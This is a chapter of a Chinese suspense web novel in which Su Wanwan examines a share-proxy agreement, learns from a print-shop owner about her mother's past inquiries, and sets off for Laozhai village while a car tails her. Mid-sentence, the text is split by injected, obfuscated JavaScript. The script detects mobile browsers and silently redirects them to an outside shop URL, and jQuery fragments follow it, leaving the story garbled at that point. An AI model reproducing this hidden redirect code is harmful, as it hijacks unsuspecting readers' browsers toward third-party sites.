她把协议压在枕头底下，合衣躺下，眼睛盯着天花板。桂花树的影子被风吹动，像水面上的波纹一层一层地荡开。她没睡着，眼睛睁着的时候在想那份协议，闭上的时候在想杨老板那句话——“你母亲来过我这里一次”。
天亮以后她坐起来，没有看窗外，直接从枕头底下抽出那份协议，翻到最后一页。孙秀芝。没有一笔越界的签名。她把协议折好塞进帆布包，在门口拨通了秋姨的电话。
“云仓里的东西拿到了。”她说。
电话那头安静了片刻，然后是水杯被放下的声音，干燥而笃定。“是什么？”
“一份股权代持协议。甲方傅氏，乙方瑞禾商贸。日期是八年前的四月。乙方签名是孙秀芝。”
“印章呢？”
“盖了。但印章和签名之间偏移了大约两毫米。像是签字的时候不在同一张桌上。”
秋姨没有立刻接话，电话里只剩下她翻动纸张的细微声响——或者只是苏晚晚的想象。然后秋姨的声音传过来，比刚才慢了一些：“你母亲做事很谨慎。”
苏晚晚听着，没有说话，指腹在布面的拉链扣上反复碾了一下，碾到那圈金属的边缘微微发烫。“傅衍之昨天去了苏氏实业，跟林秀芝签了一份备忘录。里面有股权处置的内容。”
“你来西川吗？”
“不去。”她说，“我去老寨村。”
秋姨没有反对。苏晚晚等了两秒，确认她没有别的要问，挂断了电话。
她把手机放进口袋的时候，指腹碰到布料下那枚钥匙的轮廓——铁的，锈了，底部有一个歪歪扭扭的“晚”字。她隔着布料按了一下，把它压平。
阳光已经完全越过了屋檐，照在水泥路面上，亮白亮白的。她往镇上的打印店走，走到门口的时候停了一步——老槐树的阴影里停着一辆黑色轿车，没有熄火。车窗贴了深色膜，看不清里面。她没有多看，推门进了打印店。
杨老板正在把一箱复印纸从电动三轮车上搬下来，直起腰时用手背抹了一下额头的汗。他看见她，没说话，目光落在她手中的帆布包上。
“复印。”她把协议抽出来递过去。
杨老板接过来翻了翻，拇指压在印章和签名的偏移处停了两秒。他没有评价，转身走到复印机前，按下了开关。机器预热的声音在房间里嗡嗡地响着，像一只被关在铁皮里的苍蝇。他在复印的时候低着头，苏晚晚站在柜台前，目光落在那包没拆封的烟上——烟盒旁边还放着昨天那根被捏皱了的烟，滤嘴上的牙印还在。
“昨晚有人来过。”杨老板说，没有抬头。
“来我这里吗？”
“来镇上。一辆锦城牌照的车，停在邮电所门口半个钟头。下来一个人，抽完一根烟，打了个电话，走了。”他把复印件抽出来，对着光看了一眼，又放回去按了第二份。
“长什么样？”
“距离太远。”他顿了顿，“但抽烟的动作，像用右手的。”
苏晚晚没有接话。她把复印件接过来折好放进帆布包，没有立刻走。她看着杨老板把原稿推回来，没有说话。
杨老板直起腰来，把复印机电源拔掉，把电源线一圈一圈地绕在机器侧面。他绕得很慢，每一圈都理整齐了，像是怕它打结。“你母亲来过我这里一次，”他说，“八年前的秋天。她来查一个人的户籍档案。”
苏晚晚的手指在帆布包的拉链扣上停了一下。她张了张嘴，又把那句“我知道”咽了回去。
“她查的不是那个人的下落。”杨老板把电源线的最后一圈绕好，“她查的是那个人失踪之前，最后见过谁。档案室的记录已经被调走了，她来的时候只剩一个空夹子。但她走的时候把一张纸条落在了我柜台下面。”他从抽屉里翻出一个边角磨白的信封，撕开封口的胶带，抽出一张对折的纸。纸张泛黄了，边角脆得像一捏就会碎。
他把纸摊开在柜台上，推过来。
纸上只有一行字，蓝黑色钢笔字迹，横平竖直，每一笔都落在格子里面——林秀芝。
苏晚晚看着那个名字，伸出手指，轻轻碰了一下纸面的左下边缘。她碰得很轻，像是怕把那行字碰散了。然后她收回手，站直了。“谢谢杨老板。”
“你母亲当时跟我说了一句话。”杨老板把纸折好收回信封里，“她说，有些东西，查不到的时候，就不要着急。它会自己从地里长出来。”
苏晚晚点了点头，把钱放在票据夹子下面——一张二十块，跟昨天一样。她没有立刻走，而是站在那里又看了他一眼：“你为什么从派出所出来？”
杨老板低下头，把信封放回抽屉最底层。“因为有人让一个案子停了。”他说。
他没有说“唯一一次”。光是这句话，已经够了。
苏晚晚没有再追问。她拉开门，走出去。阳光照在脸上有些刺眼，她眯了一下眼，睫毛边缘亮晶晶的。老槐树阴影里那辆黑色轿车还在，但位置往前挪了两米，像是一直没有熄
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741884|209111||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
火，只是往树荫深处退了一点。
她没有停下来看它。她走向公交站台，站在立柱的阴影里，掏出手机拨了那个尾号锦城的号码——鸣了两声，接通了。
“我去老寨村，开那栋木屋的门。”
电话那头沉默了。然后那个中年男人的声音传过来，比昨天轻了一些：“你妈当年也没等到钥匙寄给她。”
苏晚晚的喉咙里堵了一下，像有什么东西卡在气管和食道之间。她用力咽了一下，没有发出声音。“那把钥匙等了三年。我不想让它再等了。”
她挂断电话的时候，抬头看了一眼公交站牌的玻璃——她的脸映在里面，眼角有一点红。她用掌根按了一下，抹掉了。
她上车，在最后一排靠窗的位置坐下。车子发动的时候，她的身体轻轻晃了一下。她从帆布包的夹层里抽出那份协议的复印件，翻到最后一页，用指腹在“孙秀芝”三个字的最后一笔上轻轻压了一下——那笔收得很干净，没有拖泥带水，像写的人做完了所有该做的事，关灯关门，转身走了，并没有回头看。
她把复印件折好放回去，然后从外套内袋里掏出那枚钥匙，握在掌心里。铁质的凉意透过皮肤渗进骨头，她把钥匙翻过来，指腹摸到底部那个歪歪扭扭的“晚”字。她握住它，收紧手指，像是要把那个字的温度从金属里攥出来。
车子拐过一个弯，阳光从另一侧照进车厢，在她的膝盖上铺开一条明亮的带子。她握着钥匙，没有松手，目光落在窗外新栽的柏树苗上，看着它们一棵一棵地向后退去，排得整整齐齐，枝头嫩绿嫩绿的。
她在心里开口了。没有声音，嘴唇也没有动——只是在那条明亮的阳光带子里，安静地吐出了那个字。
妈。
那个音节没有落在地上，而是落在胸口某个很深的位置，像一颗被含了很久的糖，终于咽下去了——甜得有些发涩，但她没有再吐出来。
她想起秋姨说过的那个人。老赵。
不，她没法知道他现在在哪，但她的脑海里忽然浮现出母亲坐在派出所门前台阶上的画面——不是在等，而是在听。她自己也说不清为什么会想到这个。可能因为这个画面中的母亲跟她一样，手里握着一枚还没有开过锁的钥匙。
公交车的后视镜里，那辆黑色轿车保持着两辆车的距离，不急不慢地跟着。
苏晚晚看见了，却没有多看第二眼。她只是把嘴角那个极淡的弧度压了下去，像把一枚棋子在棋盘上落稳。